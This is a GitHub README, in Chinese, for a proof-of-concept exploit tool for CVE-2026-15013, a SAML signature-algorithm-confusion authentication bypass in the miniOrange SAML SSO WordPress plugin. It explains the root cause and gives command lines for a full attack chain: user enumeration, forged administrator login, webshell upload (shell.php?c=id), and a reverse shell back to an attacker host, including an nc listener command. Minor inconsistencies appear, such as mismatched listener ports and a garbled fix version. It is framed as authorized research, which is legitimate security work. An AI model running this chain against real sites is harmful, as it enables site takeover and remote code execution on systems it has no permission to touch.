zer0dayf/CVE-2026-15013
GitHub: zer0dayf/CVE-2026-15013
针对 WordPress miniOrange SAML SSO 插件 <= 5.4.3 的 SAML 签名算法混淆身份验证绕过漏洞(CVE-2026-15013)的 PoC 利用工具。
Stars: 0 | Forks: 0
# CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 身份验证绕过 (PoC)
**CVE-2026-15013** 的概念验证:在 miniOrange *SAML Single Sign On – SSO Login* WordPress 插件(版本**包括 5.4.3 及以下**)中,利用 SAML **签名算法混淆** (HMAC-SHA1) 实现的未经身份验证的身份验证绕过。
**仅供授权测试。** 请仅将此代码用于您拥有或已获得明确测试许可的系统。未经授权访问计算机系统是违法行为。
## 根本原因
`Mo_SAML_Utilities::mo_saml_cast_key()` 信任来自攻击者可控的 `SAMLResponse` 中的 `SignatureMethod` 算法。当其设置为 **HMAC-SHA1** 时,该插件会将 IdP 的 **RSA 公钥**重铸为 HMAC 共享密钥,并使用它来验证签名。任何能够读取 IdP 证书(通常是公开的元数据)的人,都可以为任何现有的 WordPress 用户(包括管理员)伪造有效的断言。
已在 **5.4.4+** 版本中修补(拒绝不安全的算法/HMAC)。
## CVSS
**9.8 严重** — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
## 环境要求
- Python 3.10+
- `openssl` CLI(用于从证书提取公钥)
- 目标 WordPress 网络的访问权限,以及用于自动获取密钥的 IdP SAML 描述符的访问权限
安装依赖项:
```
pip install -r requirements.txt
```
## 用法
完整利用链(枚举、HMAC 登录、管理员权限、webshell):
```
python3 exploit.py -u https://TARGET.example
```
可选的反弹 shell(请先启动监听器:`nc -lvnp 4448`):
```
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
```
仅登录(无 shell):
```
python3 exploit.py -u https://TARGET.example --no-shell
```
手动覆盖参数:
```
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
```
### 参数
| 标志 | 描述 |
|------|-------------|
| `-u, --url` | WordPress 基础 URL(**必填**) |
| `-k, --hmac-key` | PEM 公钥或证书文件;如果为空,则从 IdP 元数据中获取 |
| `--issuer` | 覆盖 IdP issuer |
| `--acs` | 覆盖 ACS URL |
| `--nameid` | 强制指定单个 WordPress 用户名 |
| `--lhost` / `--lport` | 反弹 shell 回调地址(默认端口 4444) |
| `--no-shell` | 在获取管理员会话后停止 |
| `--no-reverse` | 上传 shell 但不触发反弹 |
## 流程
1. 探测 WordPress 及插件版本(必须 <= 5.4.3)
2. 发现 ACS、SP entityID 和 IdP issuer
3. 获取 IdP 签名证书(元数据)并派生公钥 PEM(HMAC 密钥)
4. 枚举 WordPress 用户
5. 为每个候选用户伪造 HMAC-SHA1 签名的 SAMLResponse
6. 选择具有 install_plugins 权限的账户(管理员)
7. 上传 webshell 插件(`exp/shell.php?c=id`)
8. 通过 `--lhost` 可选的反弹 shell
## 免责声明
本项目仅供教育和授权的安全研究使用。作者和贡献者不对任何滥用行为负责。在测试第三方系统之前,请务必获得书面许可。原始漏洞已通过负责任的漏洞披露渠道报告;本仓库仅出于学习和防御性验证的目的演示其复现过程。
## 参考资料
- https://www.cve.org/CVERecord?id=CVE-2026-15013
- https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
- 插件修复:miniOrange SAML 5..4.4+
## 许可证
仅供研究使用。不提供任何担保。
标签:CISA项目, Python, SAML, WordPress插件, 安全测试工具, 无后门, 身份认证绕过, 逆向工具